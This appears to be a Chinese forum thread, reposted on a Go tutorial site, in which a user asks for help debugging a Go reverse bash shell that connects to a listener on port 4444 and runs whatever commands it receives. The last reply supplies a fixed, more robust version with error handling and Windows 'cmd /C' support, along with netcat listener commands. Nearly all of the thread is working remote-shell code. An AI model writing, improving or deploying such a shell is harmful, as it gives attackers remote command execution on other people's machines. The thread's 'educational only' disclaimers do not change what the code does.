Golang网络安全测试方法与最佳实践

Golang网络安全测试方法与最佳实践 我正在构建一个反向bash shell,仅用于教育目的。我有以下代码,但遇到了错误。任何帮助都将不胜感激。我也可以通过私信交流。我遗漏了什么?

//this is my first reverse shell written in go lang
package main

import (
	"bufio"
	"fmt"
	"log"
	"net"
	"os/exec"
)

func main() {
	shell("127.0.0.1:4444")
}

func shell(host string) {
	conn, err := net.Dial("tcp", host)
	if err != nil {
		log.Fatal(err)
	}

	for {
		message, _ := bufio.NewReader(conn).ReadString('\n')
		out, err := exec.Command("bash", "-c", message).CombinedOutput()
		if err != nil {
			fmt.Println(err)
		}
		conn.Write(out)
	}
}

错误信息:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x1067c00]

goroutine 1 [running]:
bufio.(*Reader).fill(0xc000050ed0)
	/usr/local/go/src/bufio/bufio.go:100 +0xe0
bufio.(*Reader).ReadSlice(0xc000050ed0, 0x129650a, 0x1154601, 0x101000000000001, 0x0, 0x1000, 0xc0000dc000)
	/usr/local/go/src/bufio/bufio.go:356 +0x3d
bufio.(*Reader).ReadBytes(0xc000050ed0, 0x100a, 0x1000, 0xc0000dc000, 0x0, 0x113046f, 0xe)
	/usr/local/go/src/bufio/bufio.go:434 +0x70
bufio.(*Reader).ReadString(...)
	/usr/local/go/src/bufio/bufio.go:474
main.main()
	/Path/to/main.go:15 +0x1fb
exit status 2

更多关于Golang网络安全测试方法与最佳实践的实战教程也可以访问 https://www.itying.com/category-94-b0.html

9 回复

请忽略上一条声明。再次感谢。

更多关于Golang网络安全测试方法与最佳实践的实战系列教程也可以访问 https://www.itying.com/category-94-b0.html


是的,这个方法可行。

我无法重现您的问题。

什么是

ipatchcables:

反向bash shell

应该实现什么功能?在4444端口监听的是哪种类型的应用程序?

有趣,谢谢。在代码之外如何处理测试环境变量?我在同一台机器和测试机器上运行这段代码……也许这就是原因?感谢您的时间!

lutzhorn:

netcat -l -k localhost 4444

哦,你的意思是这段代码在你那里能正常工作?

在端口4444上监听的是netcat应用程序。以下是它的功能说明链接:https://en.wikipedia.org/wiki/Netcat

你这是什么意思?

ipatchcables:

在代码之外测试环境变量

这个简短的程序中你使用了任何环境变量吗?是如何使用的?

好的。既然你的问题已经完整了,让我尝试重现你的问题。

在终端1中:

$ netcat -l -k localhost 4444

在终端2中:

$ go run main.go # 你的代码

回到终端1中:

date
Fr 26. Apr 16:01:58 CEST 2019

运行得很好。

您的代码在反向shell实现中存在几个关键问题,导致出现空指针解引用错误。以下是修复后的代码:

package main

import (
	"bufio"
	"fmt"
	"log"
	"net"
	"os/exec"
	"runtime"
)

func main() {
	shell("127.0.0.1:4444")
}

func shell(host string) {
	conn, err := net.Dial("tcp", host)
	if err != nil {
		log.Fatal(err)
	}
	defer conn.Close()

	reader := bufio.NewReader(conn)
	
	for {
		message, err := reader.ReadString('\n')
		if err != nil {
			log.Printf("读取错误: %v", err)
			return
		}
		
		// 根据操作系统选择合适的shell
		var cmd *exec.Cmd
		if runtime.GOOS == "windows" {
			cmd = exec.Command("cmd", "/C", message)
		} else {
			cmd = exec.Command("bash", "-c", message)
		}
		
		out, err := cmd.CombinedOutput()
		if err != nil {
			fmt.Fprintf(conn, "命令执行错误: %v\n", err)
			continue
		}
		
		_, err = conn.Write(out)
		if err != nil {
			log.Printf("写入错误: %v", err)
			return
		}
	}
}

主要修复点:

  1. 重用reader对象:原代码每次循环都创建新的bufio.Reader,这会导致内部缓冲区不一致。现在在循环外创建并重用同一个reader。

  2. 错误处理:添加了完整的错误检查,包括读取、命令执行和写入操作的错误处理。

  3. 连接管理:使用defer conn.Close()确保连接正确关闭。

  4. 跨平台兼容:根据操作系统自动选择正确的shell命令。

  5. 输出格式化:使用fmt.Fprintf向连接写入格式化的错误信息。

要测试这个反向shell,您需要在目标端口运行监听器:

# 在监听端运行
nc -lvnp 4444

然后执行您的Go程序。连接建立后,您可以通过监听器发送命令,程序会执行并返回结果。

注意:此代码仅用于教育目的,在实际生产环境中使用需要额外的安全措施和错误处理。

回到顶部